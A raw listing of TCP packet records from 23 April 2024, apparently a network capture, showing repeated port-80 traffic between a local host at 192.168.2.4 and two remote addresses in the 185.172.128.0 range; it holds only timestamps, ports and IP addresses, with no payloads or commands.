Apr 23, 2024 09:38:10.471858978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471864939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471883059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471899033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471915007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471915007 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471930981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471934080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471949100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471960068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471965075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471998930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.472014904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.472029924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.472045898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.472060919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.472075939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.472079039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.472079039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.472093105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.472210884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.649276972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649311066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649328947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649348021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649363995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649379015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649395943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649411917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649427891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649444103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649458885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649477005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649492979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649508953 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649524927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649539948 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649554968 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649570942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649585962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649593115 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649593115 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649593115 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649593115 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649601936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649616957 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649624109 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649632931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649647951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649662971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649678946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649698019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649703979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649703979 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649713039 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649728060 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649743080 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649759054 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649764061 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649764061 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649775982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649791956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649807930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649820089 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649823904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649840117 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649852037 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649856091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649871111 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649879932 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649885893 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649895906 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649904013 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649919033 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649935007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649950027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649956942 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649956942 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.649966002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649981022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.649997950 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650023937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650023937 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650026083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650041103 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650055885 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650070906 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650087118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650088072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650088072 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650103092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650119066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650127888 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650135040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650150061 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650155067 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650167942 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650182962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650198936 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650213957 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650218964 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650218964 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650228977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650244951 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650259972 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650269985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650269985 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650275946 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650291920 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650307894 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650316000 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650316000 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650322914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650341034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650355101 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650357962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650372982 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650388956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650404930 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650410891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650410891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650420904 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650435925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650450945 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650465965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650465965 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650481939 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650492907 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650496960 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650512934 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650528908 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650533915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650533915 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650544882 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650561094 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650577068 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650592089 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650599957 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650599957 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650608063 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650624037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650639057 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650641918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650654078 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650670052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650671959 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650686979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650701046 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650702953 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650718927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650732994 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650737047 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650753975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650768995 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650784016 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650799990 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650804043 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650804043 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650820971 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650832891 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650837898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650868893 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650856018 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650892973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650909901 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650927067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650943041 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650959015 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650964975 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650964975 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650974989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.650990963 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.650993109 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651009083 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651024103 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651027918 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651045084 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651055098 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651060104 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651074886 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651089907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651099920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651106119 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651122093 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651134968 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651138067 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651148081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651155949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651170969 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651180029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651186943 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651202917 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651218891 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651235104 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651237011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651249886 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651252985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651268959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651285887 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651303053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651312113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651312113 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651319027 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651335955 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651350975 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651366949 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651382923 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651382923 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651382923 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651398897 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651415110 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651432037 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651436090 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651436090 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651448011 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651462078 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651463985 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651479959 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651498079 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651515007 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651530981 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651534081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651534081 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651546955 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651562929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651578903 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651593924 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651596069 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651596069 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651609898 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651627064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651643038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651653051 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651659012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651674032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651674986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651691914 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651706934 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651712894 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651724100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651740074 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651757002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651761055 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651761055 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651772976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651791096 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651807070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651812077 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651823044 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651834965 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651838064 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651854038 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651870012 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651885986 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.651896954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.651896954 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.652122021 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.669939041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.669992924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670010090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670103073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670120001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670137882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670155048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670155048 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670155048 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670181036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670181036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670185089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670203924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670207024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670219898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670228958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670238972 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670263052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670440912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670488119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670573950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670591116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670607090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670624971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670628071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670628071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670646906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670656919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670663118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670701981 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670717001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670775890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670840979 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670857906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.670883894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670897961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.670996904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671175003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671216965 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.671375036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671392918 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671408892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671416998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.671430111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671442032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.671456099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.671473026 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.671546936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671653032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671691895 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.671736002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671777964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.671921015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671937943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671953917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671962976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.671971083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671981096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.671993017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.671997070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.672009945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.672015905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.672033072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.672086000 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.672934055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.672950983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.672966957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.672985077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673000097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673002005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673018932 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673033953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673036098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673043966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.673053026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.673069000 CEST	80	49733	185.172.128.76	192.168.2.4
